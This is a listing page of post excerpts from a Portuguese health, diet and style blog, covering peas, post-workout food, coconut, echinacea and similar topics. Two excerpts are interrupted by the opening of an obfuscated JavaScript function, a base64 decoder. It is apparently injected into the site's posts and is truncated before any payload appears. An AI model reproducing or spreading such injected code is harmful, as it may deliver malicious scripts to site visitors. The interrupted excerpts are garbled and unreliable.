Mai 9, 2019 | Dicas úteis, Saúde e bem estar
5 benefícios das ervilhas que são ideais para emagrecer As ervilhas fazem parte dos meus vegetais de eleição. São ricas em fibras, vitaminas e proteínas, e, por isso mesmo, muito aconselhadas para uma dieta equilibrada e saudável. Além disso, as ervilhas são ideais...
Mai 8, 2019 | perder peso, Saúde e bem estar, Teresa
10 mfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mai 7, 2019 | Dicas úteis, Receitas, Saúde e bem estar, Teresa
Descobri recentemente esta raiz com propriedades medicinais, originária da Índia e China, e estou fã. Uso-a em chá, na minha água para controlar o peso, e na comida. Tem propriedades anti-inflamatórias, antioxidantes e também ajuda a controlar os níveis de colesterol...
Mai 7, 2019 | Equilíbrio, Saúde e bem estar
Alimentos que deve comer depois de treinar É absolutamente fundamental saber o que pode e deve comer logo após treinar. E porquê? Porque o que come após treinar tem o poder de comprometer ou não todo o exercício que foi feito e consequentemente os seus resultados....
Mai 6, 2019 | À descoberta, Saúde e bem estar
Os melhores alimentos para o cérebro O cérebro controla muitas funções do nosso corpo através do sistema nervoso. Assim, é indispensável cuidar dele e dar-lhe sempre a devida importância. Uma dieta equilibrada e uma vida saudável são dois trunfos para manter um...
Mai 3, 2019 | À descoberta, Dicas úteis, Saúde e bem estar
Dicas saudáveis: 7 variantes do coco Já lhe falei dos benefícios do coco e das propriedades fantásticas do seu óleo! Hoje vou falar-lhe das inúmeras formas deliciosas em que pode consumir este fruto fabuloso. Conheça-as agora, bem como todas as vantagens do seu...
Mai 2, 2019 | Equilíbrio, Estilo e beleza
10 peças imprescindíveis no seu guarda-roupa Existem peças que são completamente imprescindíveis no nosso guarda roupa, já que têm a capacidade de se tornarem na escolha ideal para qualquer tipo de situação. Estas peças são intemporais e versáteis, pelo que nos...
Abr 30, 2019 | À descoberta, Dicas úteis, Saúde e bem estar
10 Benefícios da Equinácea para a sua saúde Hoje venho falar-lhe de uma planta fantástica nativa da América do Norte Central, com uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var...
Abr 27, 2019 | Dicas úteis, Estilo e beleza, sidebar 3
Cuidados a ter com a pele antes e depois da maquilhagem Não se trata apenas de estética, mas também de saúde! Como a nossa pele é o nosso cartão de visita, devemos cuidar dela todos os dias. Hoje é um bom dia para ficar a saber mais acerca dos cuidados a ter com a...
Abr 25, 2019 | Equilíbrio, Saúde e bem estar
Receita de sumo multivitamínico de fisális para o pequeno-almoço Dicas saudáveis! Hoje trago-lhe a sugestão de um sumo rico em fibras e vitaminas para dar cor às suas manhãs, mesmo nos dias mais cinzentos! Conheça de seguida a receita de sumo multivitamínico de...
